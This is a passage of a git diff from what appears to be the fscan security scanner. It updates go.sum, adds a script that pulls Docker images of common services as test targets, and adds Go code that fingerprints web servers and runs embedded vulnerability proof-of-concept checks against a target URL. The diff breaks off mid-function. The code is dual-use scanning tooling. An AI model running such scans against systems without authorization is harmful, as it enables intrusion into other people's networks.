h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -507,8 +203,6 @@ golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= golang.org/x/term v0.27.0 h1:WP60Sv1nlK1T6SupCHbXzSaN0b9wUmsPoRS9b61A23Q= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= @@ -519,95 +213,29 @@ golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= -golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= -golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= -golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= -golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= -golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= -golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= -golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= -google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= -google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= -google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c h1:QgY/XxIAIeccR+Ca/rDdKubLIU9rcJ3xfy1DC/Wd2Oo= google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= -google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= -google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= -google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= -google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= -google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= -google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= -gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= -gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= -gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= -gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= -gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= -rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= diff --git a/pull_images.sh b/pull_images.sh new file mode 100755 index 0000000..3fd2a3e --- /dev/null +++ b/pull_images.sh @@ -0,0 +1,123 @@ +#!/bin/bash + +# Fscan 测试镜像拉取脚本 +# 排除 IMAP、POP3、Modbus 相关镜像 + +echo "=== Fscan 测试镜像拉取开始 ===" +echo "排除服务: IMAP, POP3, Modbus" +echo "" + +# 基础镜像列表 +images=( + # 数据库服务 + "mysql:latest" + "postgres:latest" + "mongo:latest" + "redis:5.0.1" + "mcr.microsoft.com/mssql/server:2022-latest" + "neo4j:4.4" + "memcached:latest" + "cassandra:3.11" + + # Web服务 + "tomcat:9.0-jdk8" + "container-registry.oracle.com/middleware/weblogic:12.2.1.4-dev" + + # 搜索引擎 + "docker.elastic.co/elasticsearch/elasticsearch:7.9.3" + + # 消息队列 + "rabbitmq:3-management" + "rmohr/activemq:5.15.9" + "bitnami/kafka:latest" + + # 监控系统 + "zabbix/zabbix-server-mysql:ubuntu-6.0.23" + "zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.23" + + # 目录服务 + "osixia/openldap:1.5.0" + + # 网络服务 + "bogem/ftp" + "ubuntu:latest" # SSH, SMTP, SNMP, Rsync, VNC, Telnet + "ubuntu:20.04" # SSH, SMTP, SNMP, Rsync, VNC, Telnet + "busybox:latest" # Telnet +) + +# 记录成功和失败的镜像 +success_count=0 +failed_images=() +total_images=${#images[@]} + +echo "需要拉取 $total_images 个镜像" +echo "" + +# 拉取镜像函数 +pull_image() { + local image=$1 + local current=$2 + local total=$3 + + echo "[$current/$total] 拉取镜像: $image" + + # 设置超时和重试 + local max_retries=3 + local retry=0 + + while [ $retry -lt $max_retries ]; do + if timeout 300 docker pull "$image"; then + echo "✓ 成功: $image" + ((success_count++)) + return 0 + else + ((retry++)) + if [ $retry -lt $max_retries ]; then + echo "⚠ 重试 $retry/$max_retries: $image" + sleep 5 + fi + fi + done + + echo "✗ 失败: $image (超时或网络错误)" + failed_images+=("$image") + return 1 +} + +# 开始拉取 +start_time=$(date +%s) + +for i in "${!images[@]}"; do + current=$((i + 1)) + pull_image "${images[$i]}" "$current" "$total_images" + echo "" +done + +# 统计结果 +end_time=$(date +%s) +duration=$((end_time - start_time)) +failed_count=${#failed_images[@]} + +echo "=== 拉取完成 ===" +echo "总镜像数: $total_images" +echo "成功: $success_count" +echo "失败: $failed_count" +echo "用时: ${duration}s" +echo "" + +# 显示失败的镜像 +if [ $failed_count -gt 0 ]; then + echo "失败的镜像:" + for image in "${failed_images[@]}"; do + echo " - $image" + done + echo "" + echo "可以重新运行脚本来重试失败的镜像" +fi + +# 检查 Docker 存储空间 +echo "=== Docker 存储使用情况 ===" +docker system df + +echo "" +echo "脚本执行完成!" \ No newline at end of file diff --git a/webscan/InfoScan.go b/webscan/InfoScan.go new file mode 100644 index 0000000..7dc0056 --- /dev/null +++ b/webscan/InfoScan.go @@ -0,0 +1,98 @@ +package WebScan + +import ( + "crypto/md5" + "fmt" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/webscan/info" + "regexp" +) + +// CheckDatas 存储HTTP响应的检查数据 +type CheckDatas struct { + Body []byte // 响应体 + Headers string // 响应头 +} + +// InfoCheck 检查URL的指纹信息 +func InfoCheck(Url string, CheckData *[]CheckDatas) []string { + var matchedInfos []string + + // 遍历检查数据 + for _, data := range *CheckData { + // 规则匹配检查 + for _, rule := range info.RuleDatas { + var matched bool + var err error + + // 根据规则类型选择匹配内容 + switch rule.Type { + case "code": + matched, err = regexp.MatchString(rule.Rule, string(data.Body)) + default: + matched, err = regexp.MatchString(rule.Rule, data.Headers) + } + + // 处理匹配错误 + if err != nil { + common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err)) + continue + } + + // 添加匹配成功的规则名 + if matched { + matchedInfos = append(matchedInfos, rule.Name) + } + } + + // MD5匹配检查暂时注释 + /* + if flag, name := CalcMd5(data.Body); flag { + matchedInfos = append(matchedInfos, name) + } + */ + } + + // 去重处理 + matchedInfos = removeDuplicateElement(matchedInfos) + + // 输出结果 + if len(matchedInfos) > 0 { + result := fmt.Sprintf("发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos) + common.LogInfo(result) + return matchedInfos + } + + return []string{} +} + +// CalcMd5 计算内容的MD5并与指纹库比对 +func CalcMd5(Body []byte) (bool, string) { + contentMd5 := fmt.Sprintf("%x", md5.Sum(Body)) + + // 比对MD5指纹库 + for _, md5Info := range info.Md5Datas { + if contentMd5 == md5Info.Md5Str { + return true, md5Info.Name + } + } + + return false, "" +} + +// removeDuplicateElement 移除切片中的重复元素 +func removeDuplicateElement(items []string) []string { + // 预分配空间 + result := make([]string, 0, len(items)) + seen := make(map[string]struct{}, len(items)) + + // 使用map去重 + for _, item := range items { + if _, exists := seen[item]; !exists { + seen[item] = struct{}{} + result = append(result, item) + } + } + + return result +} diff --git a/webscan/WebScan.go b/webscan/WebScan.go new file mode 100644 index 0000000..167a6e4 --- /dev/null +++ b/webscan/WebScan.go @@ -0,0 +1,325 @@ +package WebScan + +import ( + "context" + "embed" + "errors" + "fmt" + "net/http" + "net/url" + "os" + "path/filepath" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/config" + "github.com/shadow1ng/fscan/webscan/lib" +) + +// 常量定义 +const ( + protocolHTTP = "http://" + protocolHTTPS = "https://" + yamlExt = ".yaml" + ymlExt = ".yml" + defaultTimeout = 30 * time.Second + concurrencyLimit = 10 // 并发加载POC的限制 +) + +// 错误定义 +var ( + ErrInvalidURL = errors.New("无效的URL格式") + ErrEmptyTarget = errors.New("目标URL为空") + ErrPocNotFound = errors.New("未找到匹配的POC") + ErrPocLoadFailed = errors.New("POC加载失败") +) + +//go:embed pocs +var pocsFS embed.FS +var ( + once sync.Once + allPocs []*lib.Poc +) + +// WebScan 执行Web漏洞扫描 +func WebScan(info *common.HostInfo) { + // 初始化POC + once.Do(initPocs) + + // 验证输入 + if info == nil { + common.LogError("无效的扫描目标") + return + } + + if len(allPocs) == 0 { + common.LogError("POC加载失败,无法执行扫描") + return + } + + // 构建目标URL + target, err := buildTargetURL(info) + if err != nil { + common.LogError(fmt.Sprintf("构建目标URL失败: %v", err)) + return + } + + // 使用带超时的上下文 + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + // 根据扫描策略执行POC + if common.Pocinfo.PocName == "" && len(info.Infostr) == 0 { + // 执行所有POC + executePOCs(ctx, config.PocInfo{Target: target}) + } else if len(info.Infostr) > 0 { + // 基于指纹信息执行POC + scanByFingerprints(ctx, target, info.Infostr) + } else if common.Pocinfo.PocName != "" { + // 基于指定POC名称执行 + executePOCs(ctx, config.PocInfo{Target: target, PocName: common.Pocinfo.PocName}) + } +} + +// buildTargetURL 构建规范的目标URL +func buildTargetURL(info *common.HostInfo) (string, error) { + // 自动构建URL + if info.Url == "" { + info.Url = fmt.Sprintf("%s%s:%s", protocolHTTP, info.Host, info.Ports) + } else if !hasProtocolPrefix(info.Url) { + info.Url = protocolHTTP + info.Url + } + + // 解析URL以提取基础部分 + parsedURL, err := url.Parse(info.Url) + if err != nil { + return "", fmt.Errorf("%w: %v", ErrInvalidURL, err) + } + + return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil +} + +// hasProtocolPrefix 检查URL是否包含协议前缀 +func hasProtocolPrefix(urlStr string) bool { + return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS) +} + +// scanByFingerprints 根据指纹执行POC +func scanByFingerprints(ctx context.Context, target string, fingerprints []string) { + for _, fingerprint := range fingerprints { + if fingerprint == "" { + continue + } + + pocName := lib.CheckInfoPoc(fingerprint) + if pocName == "" { + continue + } + + executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}) + } +} + +// executePOCs 执行POC检测 +func executePOCs(ctx context.Context, pocInfo config.PocInfo) { + // 验证目标 + if pocInfo.Target == "" { + common.LogError(ErrEmptyTarget.Error()) + return + } + + // 确保URL格式正确 + if !hasProtocolPrefix(pocInfo.Target) { + pocInfo.Target = protocolHTTP + pocInfo.Target + } + + // 验证URL + _, err := url.Parse(pocInfo.Target) + if err != nil { + common.LogError(fmt.Sprintf("%v %s: %v", ErrInvalidURL, pocInfo.Target, err)) + return + } + + // 创建基础请求 + req, err := createBaseRequest(ctx, pocInfo.Target) + if err != nil { + common.LogError(fmt.Sprintf("创建HTTP请求失败: %v", err)) + return + } + + // 筛选POC + matchedPocs := filterPocs(pocInfo.PocName) + if len(matchedPocs) == 0 { + common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName)) + return 